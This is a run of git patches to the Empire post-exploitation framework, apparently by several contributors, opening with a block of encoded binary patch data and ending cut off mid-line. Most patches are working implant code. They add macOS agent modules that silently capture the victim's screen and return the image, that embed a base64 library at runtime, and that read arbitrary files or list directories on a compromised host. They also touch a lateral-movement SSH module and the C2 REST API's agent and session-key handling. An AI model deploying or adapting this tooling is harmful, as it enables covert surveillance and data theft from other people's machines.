zXRCzqU`xh~F2t68`zR!deyKV=7|nH#D@fr}vnQ_DO@`2_J%$59Uw`?{VnxNpp0WfL zCE9~6aT7rPb);N|6Zc{8>_Mskf8=g7mtBLqueJ8+s*qp&uF?!GpZ|I$z!p}Zs;Bmrmn4o+B79bON4bx4PHwP_Z)-3dE&c** zWdo1gjgB$&O;oQW=XH;Uu{z-W&ffb}3dScQx@14c|2aJz>+yyXv*(j?+hp?U2M)@G zl-fb=Pr^UWY~`=Ib7sHOdhLk+>CFDWOo6L|gRRTIIj+-GZyYulk$&a(ABdKbuP@xn z=qQz{;h2^9V%2E(6;(1v5$j9gt;bXSy71s9f)8%fK|5Icd41iBnFA|nN)xRHmZqhT zkgHzv{Tp);@J%u`s53Oh;qCoC@O3*yN>~kXhE>~f(LE7u+AS2bi8OxOCaqDkH8KUW z1LAk#nc=T`$}?v5Y-#SI`qH)4an&d;nZ30mgHE}rCJZl{7_kQ0 zp5X|=uEGb%D0!kat@bD#p+@C7GzG~;A~0Yzis(`TlxfzAZwfV=4tDgtFK<+jY{`>R zr9r2vHv3@==b-nj1N-as1_)<-3@*PiI0AR%mg$PU#U-*l4yyrmPdm8;EZ!i?n^vXq zOK1UG=WNAapPBuPwE5P9Sul4d$FCzS5l_ly8a#7l|Jf$^**XB$a`gd^n)cwMZ}(-t zTS?%_?-?lXP2ot`|;Z)!7)KD)_l6}7^JS{E8{DB&BSj*scX})1L41jC;QG| zhwV#sUySRlkTINfMEtQ;tk5xV&Mg)Es4*GWz)7 z%4zcP?j)qi&!6o?+0K^uCehB9Aclv$DZYe=U3;)#F-Z-pUH1@9s!qKB%5V_|F>xgt z%Qlp2iXsSbdCuY|Za{zrhx$ga%Y{q~*iMd$p)yvgG22|b7YtHa+5z3^wXayV<{~)8 z%S*Uvm@PldF`zJ@pApCGxN?2rK^}=;>ULQWb_9gaab~uRk6Bamnlvd|b}mr{Z6Qi< zIszLfh*1%z1{$;C6zE6-lYpTr2DQjhe( zO-@jde3}h~as@Hf(b0m?drC`r9p44As)^0cevsYBk4@JFNMHVZ=U-#Os*yQHL+IJ5 zv;utW>sW7eN~U!OJIIg0&n;hT7UwVr`NfJnoE}tTqkZqFaT&SxI?`MT&(7-YD=CByk9&U-<|6|&(BS{eWT|M~>?5N?;V#djbsprNPiTlOd-z_P{6$TfR zJsu;v+D=%AG7Kp>(H-UT1DuRFYM4f#{2(bkK{`JIPPB<=5*+P|w51HB@ClV62^Z$J zynJh1S84=-e%WXVAIkiBsqv@HE1PKji53&({Qf`}83|M7eB<_w>Q@6(?aEtv-R#Er zaTd36q==rp`bDuZHf39k`4RhK1O&K26gc85f`_-$8%h5sWj=vQgSWRZa2`v8om%Ot z12|^VaTa?Xt$ol}sw@HPTBK>BD_q0yLz(4z{*(->Rnh~Yo`P@wr19hI+gduJqD1i! z6mmLUKd5UiiY+cjhS4Zhb(H`hJwui`SY`5wP(nzZX-D?KP)0HK>E|sCh89 z+-AYvh|5v>6lPtcDIg0XY*SP;apZ2|c~26=+7lOiT>~=AcG!b*QzBJ*Zmg2rJ;`zT-9b8>IoPPMqORii_%(z#Y4OZcxR7D=wPNuw~J)F zYDb1-ut-Efsh|;vK~%+9#g#BdTg>Om(^F&#px7{tpDd8 zQ-&#xp=u_)(Iv(?$pBl<=pECNfu!}b^6#=wG+xd*+l}w(?X(Sq%jYE1l8~=KX6~>O zMl{%)okkZRar?(0nc`B-{WHqy{V{tCs2~F8lYv`pcdZ?fw{%~C79z^GDlB-vvt96u zPX%-^LnT{O0uKNSzrw^(E3+i^h&Rr$cJ>YnLWBWg3pZsfH(GlWK-GS5e+#1l=@XKG zszRNfh*1q1@5+XN^#mzMBxBnd3!wzl%Sr3-R%f>h1U)5(D0ay$W9q|&wSTG0C3@s!+ ze#!rf;&t;d$uC%0#p`pPD9v;CY$Tvdy@8#wA6yQ9l^CR zqt0>-BVj54lWl1wa^h=b*?*kEK^49A`~jw|aQNf?cza@FUaKM!ksTKH?` z|55m? z5Fu*qp;u+BQk2CQ?0%v@Q%oak0d{>$sA*$L4CyT6k()j{ZF;U$}N{7plM{NYtix{y=?9*NQJIgn_B7xNAYJ8aT z+|*r(_Mg>Up7BM#Zgsu%cUY|$jy81(PVvxLOQee6!$w*TZjoyE90+Xi*We3ikq(LF z&()c)`?#jmn9NU_@nd#se(fnG-@0h1o|cB&ow8)q2 zKQ$+_K0c|i_FryV`HYaYTbVcvbdh{_X3fw2?A9+JVQ;Yy76b}+F@2-m<<3sV3&JrE8E%nTo)Dz&;1VlM|35%SUpp#Hnj z=3mnP(`NJ6P6$Mx|B=25V*XS5Z%sE)|J`)+zk&W*;{SJ`s^3oaAHy&(_)8nbKLh=> zKos_GBfNj`pDg@8qx>~mNB$d%1kt}x{uitI&rp92 zoBlqaH}Zc${ZFv}&nSOY@V`$_?{Ag=W4->').strip('native-selector bytes of') -hexstring = binascii.hexlify(imageString) -hex_data = hexstring.decode('hex') -print hex_data -""" +run(data) +""" % (module_data, self.options['Monitor']['Value'], self.options['SavePath']['Value']) return script From eea19fced53122895d669e32732c168e6efab3e4 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 29 Nov 2017 14:51:48 -0500 Subject: [PATCH 11/25] Added native_screenshot_mss module --- .../collection/osx/native_screenshot.py | 56 +++------ .../collection/osx/native_screenshot_mss.py | 109 ++++++++++++++++++ 2 files changed, 127 insertions(+), 38 deletions(-) create mode 100644 lib/modules/python/collection/osx/native_screenshot_mss.py diff --git a/lib/modules/python/collection/osx/native_screenshot.py b/lib/modules/python/collection/osx/native_screenshot.py index 8289c3f..f1ceda6 100644 --- a/lib/modules/python/collection/osx/native_screenshot.py +++ b/lib/modules/python/collection/osx/native_screenshot.py @@ -50,18 +50,6 @@ class Module: 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' - }, - 'SavePath': { - # The 'Agent' option is the only one that MUST be in a module - 'Description' : 'Monitor to obtain a screenshot. 0 represents all.', - 'Required' : True, - 'Value' : '/tmp/debug.png' - }, - 'Monitor': { - # The 'Agent' option is the only one that MUST be in a module - 'Description' : 'Monitor to obtain a screenshot. -1 represents all.', - 'Required' : True, - 'Value' : '-1' } } @@ -81,32 +69,24 @@ class Module: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): - - path = self.mainMenu.installPath + "data/misc/python_modules/mss.zip" - filename = os.path.basename(path).rstrip('.zip') - open_file = open(path, 'rb') - module_data = open_file.read() - open_file.close() - module_data = base64.b64encode(module_data) script = """ -import os -import base64 -data = "%s" -def run(data): - rawmodule = base64.b64decode(data) - zf = zipfile.ZipFile(io.BytesIO(rawmodule), "r") - if "mss" not in moduleRepo.keys(): - moduleRepo["mss"] = zf - install_hook("mss") - - from mss import mss - m = mss() - file = m.shot(mon=%s,output='%s') - raw = open(file, 'rb').read() - run_command('rm -f %%s' %% (file)) - print raw - -run(data) -""" % (module_data, self.options['Monitor']['Value'], self.options['SavePath']['Value']) +try: + import Quartz + import Quartz.CoreGraphics as CG + from AppKit import * + import binascii +except ImportError: + print "Missing required module..." +onScreenWindows = CG.CGWindowListCreate(CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID) +desktopElements = Foundation.CFArrayCreateMutableCopy(None, 0, onScreenWindows) +imageRef = CG.CGWindowListCreateImageFromArray(CG.CGRectInfinite, desktopElements, CG.kCGWindowListOptionAll) +rep = NSBitmapImageRep.alloc().initWithCGImage_(imageRef) +props = NSDictionary() +imageData = rep.representationUsingType_properties_(NSPNGFileType,props) +imageString = str(imageData).strip('<').strip('>>').strip('native-selector bytes of') +hexstring = binascii.hexlify(imageString) +hex_data = hexstring.decode('hex') +print hex_data +""" return script diff --git a/lib/modules/python/collection/osx/native_screenshot_mss.py b/lib/modules/python/collection/osx/native_screenshot_mss.py new file mode 100644 index 0000000..75ed62e --- /dev/null +++ b/lib/modules/python/collection/osx/native_screenshot_mss.py @@ -0,0 +1,109 @@ +import base64 +import os + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'NativeScreenshotMSS', + + # list of one or more authors for the module + 'Author': ['@xorrior'], + + # more verbose multi-line description of the module + 'Description': ('Takes a screenshot of an OSX desktop using the Python mss module. The python-mss module utilizes ctypes and the CoreFoundation library.'), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + 'OutputExtension': "png", + + # if the module needs administrative privileges + 'NeedsAdmin': False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': False, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.6', + + # list of any references/other comments + 'Comments': [] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to execute module on.', + 'Required' : True, + 'Value' : '' + }, + 'SavePath': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Monitor to obtain a screenshot. 0 represents all.', + 'Required' : True, + 'Value' : '/tmp/debug.png' + }, + 'Monitor': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Monitor to obtain a screenshot. -1 represents all.', + 'Required' : True, + 'Value' : '-1' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self, obfuscate=False, obfuscationCommand=""): + + path = self.mainMenu.installPath + "data/misc/python_modules/mss.zip" + filename = os.path.basename(path).rstrip('.zip') + open_file = open(path, 'rb') + module_data = open_file.read() + open_file.close() + module_data = base64.b64encode(module_data) + script = """ +import os +import base64 +data = "%s" +def run(data): + rawmodule = base64.b64decode(data) + zf = zipfile.ZipFile(io.BytesIO(rawmodule), "r") + if "mss" not in moduleRepo.keys(): + moduleRepo["mss"] = zf + install_hook("mss") + + from mss import mss + m = mss() + file = m.shot(mon=%s,output='%s') + raw = open(file, 'rb').read() + run_command('rm -f %%s' %% (file)) + print raw + +run(data) +""" % (module_data, self.options['Monitor']['Value'], self.options['SavePath']['Value']) + + return script From e39f8d423a3f839e2bca2515695abb8e3a6de1da Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 30 Nov 2017 06:05:14 -0800 Subject: [PATCH 12/25] Renamed osx ls module --- lib/common/empire.py | 10 +- lib/modules/python/management/osx/ls_m.py | 137 ++++++++++++++++++++++ 2 files changed, 142 insertions(+), 5 deletions(-) create mode 100644 lib/modules/python/management/osx/ls_m.py diff --git a/lib/common/empire.py b/lib/common/empire.py index 4c98207..2275287 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2709,23 +2709,23 @@ class PythonAgentMenu(SubMenu): else: print helpers.color("[!] python/collection/osx/screenshot module not loaded") - def do_ls(self, line): + def do_ls_m(self, line): "List directory contents at the specified path" #http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string - if self.mainMenu.modules.modules['python/management/osx/ls']: - module = self.mainMenu.modules.modules['python/management/osx/ls'] + if self.mainMenu.modules.modules['python/management/osx/ls_m']: + module = self.mainMenu.modules.modules['python/management/osx/ls_m'] if line.strip() != '': module.options['Path']['Value'] = line.strip() module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) - module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/ls') + module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/ls_m') msg = "[*] Tasked agent to list directory contents of: "+str(module.options['Path']['Value']) print helpers.color(msg,color="green") self.mainMenu.agents.save_agent_log(self.sessionID, msg) module_menu.do_execute("") else: - print helpers.color("[!] python/management/osx/ls module not loaded") + print helpers.color("[!] python/management/osx/ls_m module not loaded") def do_whoami(self, line): "Print the currently logged in user" diff --git a/lib/modules/python/management/osx/ls_m.py b/lib/modules/python/management/osx/ls_m.py new file mode 100644 index 0000000..ab77e3d --- /dev/null +++ b/lib/modules/python/management/osx/ls_m.py @@ -0,0 +1,137 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'ls_m', + + # list of one or more authors for the module + 'Author': ['@xorrior'], + + # more verbose multi-line description of the module + 'Description': ('List contents of a directory'), + + # True if the module needs to run in the background + 'Background': False, + + # File extension to save the file as + # no need to base64 return data + 'OutputExtension': None, + + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # the module language + 'Language' : 'python', + + # the minimum language version needed + 'MinLanguageVersion' : '2.6', + + # list of any references/other comments + 'Comments': [ + 'Link:', + 'http://stackoverflow.com/questions/17809386/howtoconvertastat-output-to-a-unix-permissions-string' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to run the module.', + 'Required' : True, + 'Value' : '' + }, + 'Path': { + 'Description' : 'Path. Defaults to the current directory. This module is mainly for organization. The alias \'ls\' can be used at the agent menu.', + 'Required' : True, + 'Value' : '.' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + filePath = self.options['Path']['Value'] + filePath += '/' + + script = """ +try: + + import Foundation + from AppKit import * + import os + import stat +except: + print "A required module is missing.." + +def permissions_to_unix_name(st_mode): + permstr = '' + usertypes = ['USR', 'GRP', 'OTH'] + for usertype in usertypes: + perm_types = ['R', 'W', 'X'] + for permtype in perm_types: + perm = getattr(stat, 'S_I%%s%%s' %% (permtype, usertype)) + if st_mode & perm: + permstr += permtype.lower() + else: + permstr += '-' + return permstr + +path = "%s" +dirlist = os.listdir(path) + +filemgr = NSFileManager.defaultManager() + +directoryListString = "\\t\\towner\\tgroup\\t\\tlast modified\\tsize\\t\\tname\\n" + +for item in dirlist: + fullpath = os.path.abspath(os.path.join(path,item)) + attrs = filemgr.attributesOfItemAtPath_error_(os.path.abspath(fullpath), None) + name = item + lastModified = str(attrs[0]['NSFileModificationDate']) + group = str(attrs[0]['NSFileGroupOwnerAccountName']) + owner = str(attrs[0]['NSFileOwnerAccountName']) + size = str(os.path.getsize(fullpath)) + if int(size) > 1024: + size = int(size) / 1024 + size = str(size) + "K" + else: + size += "B" + perms = permissions_to_unix_name(os.stat(fullpath)[0]) + listString = perms + " " + owner + "\\t" + group + "\\t\\t" + lastModified.split(" ")[0] + "\\t" + size + "\\t\\t" + name + "\\n" + if os.path.isdir(fullpath): + listString = "d"+listString + else: + listString = "-"+listString + + directoryListString += listString + +print str(os.getcwd()) +print directoryListString +""" % filePath + + return script \ No newline at end of file From 5c69be36c1034ee1f7133089fad784d85fbf7746 Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 30 Nov 2017 06:09:26 -0800 Subject: [PATCH 13/25] Fixed ls_m module generate function sig --- lib/modules/python/management/osx/ls_m.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/python/management/osx/ls_m.py b/lib/modules/python/management/osx/ls_m.py index ab77e3d..416ebbe 100644 --- a/lib/modules/python/management/osx/ls_m.py +++ b/lib/modules/python/management/osx/ls_m.py @@ -73,7 +73,7 @@ class Module: if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): filePath = self.options['Path']['Value'] filePath += '/' From 211d365aa4b5b3dad9f5a5e9cb1d9a0ecab4e335 Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 30 Nov 2017 07:14:27 -0800 Subject: [PATCH 14/25] Added python cat alias --- lib/common/empire.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/lib/common/empire.py b/lib/common/empire.py index 2275287..5ede89c 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2727,6 +2727,28 @@ class PythonAgentMenu(SubMenu): else: print helpers.color("[!] python/management/osx/ls_m module not loaded") + def do_cat(self, line): + "View the contents of a file" + + if line != "": + + cmd = """ +try: + output = "" + with open("%s","r") as f: + for line in f: + output += line + + print output +except Exception as e: + print str(e) +""" % (line) + # task the agent with this shell command + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(cmd)) + # update the agent log + msg = "Tasked agent to cat file %s" % (line) + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_whoami(self, line): "Print the currently logged in user" From c95cc7cddd1f44705a2e89ea4f108b2b68f293ac Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 30 Nov 2017 07:50:18 -0800 Subject: [PATCH 15/25] Added pwd alias --- lib/common/empire.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/common/empire.py b/lib/common/empire.py index 5ede89c..d674ee0 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2749,6 +2749,14 @@ except Exception as e: msg = "Tasked agent to cat file %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_pwd(self, line): + "Print working directory" + + command = "cwd = os.getcwd(); print cwd" + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command) + msg = "Tasked agent to print current working directory" + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_whoami(self, line): "Print the currently logged in user" From 049cc5e52761c35f6395cf565e1247b9218406c3 Mon Sep 17 00:00:00 2001 From: Liam Somerville Date: Thu, 7 Dec 2017 14:22:22 -0700 Subject: [PATCH 16/25] Update to fix error Fixes `!] Exception: Stagers instance has no attribute 'installPath'` when running. --- lib/modules/powershell/lateral_movement/invoke_sshcommand.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py index 0464e0b..1887bc2 100644 --- a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -75,7 +75,7 @@ class Module: def generate(self, obfuscate=False, obfuscationCommand=""): - moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" + moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") From a6381a23b2ea2ab23671fa5c6558def32cdfc5df Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 8 Dec 2017 04:04:25 -0700 Subject: [PATCH 17/25] Resolves #822 --- empire | 38 +++++++++++++++++++++++++++----------- 1 file changed, 27 insertions(+), 11 deletions(-) diff --git a/empire b/empire index 32cafca..f1c3e57 100755 --- a/empire +++ b/empire @@ -1,7 +1,7 @@ #!/usr/bin/env python import sqlite3, argparse, sys, argparse, logging, json, string -import os, re, time, signal, copy, base64, pickle +import os, re, time, signal, copy, base64, pickle, ast from flask import Flask, request, jsonify, make_response, abort, url_for from time import localtime, strftime, sleep import hashlib @@ -641,7 +641,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for activeListener in activeListenersRaw: [ID, name, module, listener_type, listener_category, options] = activeListener - listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) }) + listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) }) return jsonify({'listeners' : listeners}) @@ -716,7 +716,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, returnVal = main.listeners.set_listener_option(listener_type, option, values) if not returnVal: return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400) - + main.listeners.start_listener(listener_type, listenerObject) #check to see if the listener was created @@ -849,15 +849,31 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, agentNameIDs = execute_db_query(conn, "SELECT name, session_id FROM agents WHERE name like '%' OR session_id like '%'") else: agentNameIDs = execute_db_query(conn, 'SELECT name, session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) - + for agentNameID in agentNameIDs: [agentName, agentSessionID] = agentNameID agentResults = execute_db_query(conn, "SELECT results FROM agents WHERE session_id=?", [agentSessionID]) + taskIDs = execute_db_query(conn, "SELECT id from taskings where agent=?", [agentSessionID]) + + if agentResults[0][0] and len(agentResults[0][0]) > 0: + try: + agentResults = ast.literal_eval(agentResults[0][0]) + except ValueError: + break + + results = [] + if len(agentResults) > 0: + job_outputs = [x.strip() for x in agentResults if not x.startswith('Job')] + + for taskID, result in zip(taskIDs, job_outputs): + if not (len(result.split('\n')) == 1 and result.endswith('completed!')): + results.append({'taskID': taskID[0], 'results': result}) + else: + results.append({'taskID': taskID[0], 'results': ''}) + + agentTaskResults.append({"AgentName": agentSessionID, "AgentResults": results}) - if agentResults and agentResults[0] and agentResults[0] != '': - agentTaskResults.append({"AgentName":agentSessionID, "AgentResults":agentResults[0]}) - return jsonify({'results': agentTaskResults}) @@ -878,7 +894,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for agentNameID in agentNameIDs: (agentName, agentSessionID) = agentNameID - + execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID]) return jsonify({'success': True}) @@ -1339,7 +1355,7 @@ if __name__ == '__main__': # start an Empire instance and RESTful API main = empire.MainMenu(args=args) def thread_api(empireMenu): - + try: start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport) except SystemExit as e: @@ -1354,12 +1370,12 @@ if __name__ == '__main__': elif args.headless: # start an Empire instance and RESTful API and suppress output main = empire.MainMenu(args=args) - + try: start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport) except SystemExit as e: pass - + else: # normal execution main = empire.MainMenu(args=args) From 2ee2ead9c7bcdde8194afdac33f875e78cb3d929 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 13 Dec 2017 20:50:05 -0500 Subject: [PATCH 18/25] ADDED circleci dependencies --- .circleci/config.yml | 53 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 .circleci/config.yml diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..e9a7203 --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,53 @@ +# Python CircleCI 2.0 configuration file +# +# Check https://circleci.com/docs/2.0/language-python/ for more details +# +version: 2 +jobs: + build: + docker: + # specify the version you desire here + # use `-browsers` prefix for selenium tests, e.g. `3.6.1-browsers` + - image: circleci/python:2.7.9 + + # Specify service dependencies here if necessary + # CircleCI maintains a library of pre-built images + # documented at https://circleci.com/docs/2.0/circleci-images/ + # - image: circleci/postgres:9.4 + environment: + - STAGING_KEY: RANDOM + + working_directory: ~/repo + + steps: + - checkout + + # Download and cache dependencies + - restore_cache: + keys: + - v1-dependencies-{{ checksum "requirements.txt" }} + # fallback to using the latest cache if no exact match is found + - v1-dependencies- + + - run: + name: install dependencies + command: | + cd setup/ + ./install.sh + + - save_cache: + paths: + - ./venv + key: v1-dependencies-{{ checksum "requirements.txt" }} + + # run tests! + - run: + name: run tests + command: | + . venv/bin/activate + python manage.py test + + - store_artifacts: + path: test-reports + destination: test-reports + From fa8962fc7afb5fe9d1bd293f592751564c597c4b Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 13 Dec 2017 20:54:15 -0500 Subject: [PATCH 19/25] update config.yml --- .circleci/config.yml | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index e9a7203..cc11602 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -31,21 +31,11 @@ jobs: - run: name: install dependencies - command: | + command: cd setup/ - ./install.sh - - - save_cache: - paths: - - ./venv - key: v1-dependencies-{{ checksum "requirements.txt" }} + ./install.sh # run tests! - - run: - name: run tests - command: | - . venv/bin/activate - python manage.py test - store_artifacts: path: test-reports From 1b9c171a0403f61aa0653d40b69fc9da32ef148c Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 13 Dec 2017 20:56:18 -0500 Subject: [PATCH 20/25] update config.yml, again --- .circleci/config.yml | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index cc11602..ac94718 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -22,18 +22,9 @@ jobs: steps: - checkout - # Download and cache dependencies - - restore_cache: - keys: - - v1-dependencies-{{ checksum "requirements.txt" }} - # fallback to using the latest cache if no exact match is found - - v1-dependencies- - - run: name: install dependencies - command: - cd setup/ - ./install.sh + command: cd setup/ && ./install.sh # run tests! From daf4f8cdfe82d438e6ff341c7311d7a78c798e85 Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 13 Dec 2017 23:06:02 -0500 Subject: [PATCH 21/25] updated config.yml --- .circleci/config.yml | 38 ++++++-------------------------------- 1 file changed, 6 insertions(+), 32 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index ac94718..fb964ce 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -1,34 +1,8 @@ -# Python CircleCI 2.0 configuration file -# -# Check https://circleci.com/docs/2.0/language-python/ for more details -# version: 2 jobs: - build: - docker: - # specify the version you desire here - # use `-browsers` prefix for selenium tests, e.g. `3.6.1-browsers` - - image: circleci/python:2.7.9 - - # Specify service dependencies here if necessary - # CircleCI maintains a library of pre-built images - # documented at https://circleci.com/docs/2.0/circleci-images/ - # - image: circleci/postgres:9.4 - environment: - - STAGING_KEY: RANDOM - - working_directory: ~/repo - - steps: - - checkout - - - run: - name: install dependencies - command: cd setup/ && ./install.sh - - # run tests! - - - store_artifacts: - path: test-reports - destination: test-reports - + build: + docker: + - image: circleci/python:2.7.9 + steps: + - checkout + - run: echo "hello world" \ No newline at end of file From 71ccfdfd24358a5ebd5b114273e4611ed9708bdb Mon Sep 17 00:00:00 2001 From: xorrior Date: Wed, 13 Dec 2017 23:14:52 -0500 Subject: [PATCH 22/25] updated config.yml --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index fb964ce..c282b37 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -2,7 +2,7 @@ version: 2 jobs: build: docker: - - image: circleci/python:2.7.9 + - image: circleci/python:2.7 steps: - checkout - run: echo "hello world" \ No newline at end of file From a6bc39b786a09f0732c6994d788bda63b2a6953f Mon Sep 17 00:00:00 2001 From: xorrior Date: Thu, 14 Dec 2017 01:08:44 -0500 Subject: [PATCH 23/25] updated config.yml --- .circleci/config.yml | 10 +++++++++- setup/bomutils | 1 - 2 files changed, 9 insertions(+), 2 deletions(-) delete mode 160000 setup/bomutils diff --git a/.circleci/config.yml b/.circleci/config.yml index c282b37..0384be1 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -5,4 +5,12 @@ jobs: - image: circleci/python:2.7 steps: - checkout - - run: echo "hello world" \ No newline at end of file + - run: + name: update apt + command: 'sudo apt-get update' + - run: + name: Run install.sh + command: 'cd setup/ && sudo -E -H ./install.sh' + - run: + name: Start Empire + command: 'sudo ./empire --headless &' diff --git a/setup/bomutils b/setup/bomutils deleted file mode 160000 index 3f7dc2d..0000000 --- a/setup/bomutils +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 3f7dc2dbbc36ca1c957ec629970026f45594a52c From eaf2f5122b4e39e5a09dd7a5a4f85071f71342a5 Mon Sep 17 00:00:00 2001 From: utkusen Date: Fri, 15 Dec 2017 11:11:08 +0300 Subject: [PATCH 24/25] Fix for unicode error --- empire | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire b/empire index 32cafca..fe3cfea 100755 --- a/empire +++ b/empire @@ -740,7 +740,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, for activeAgent in activeAgentsRaw: [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent - agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key.decode('latin-1').encode("utf-8"), "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, 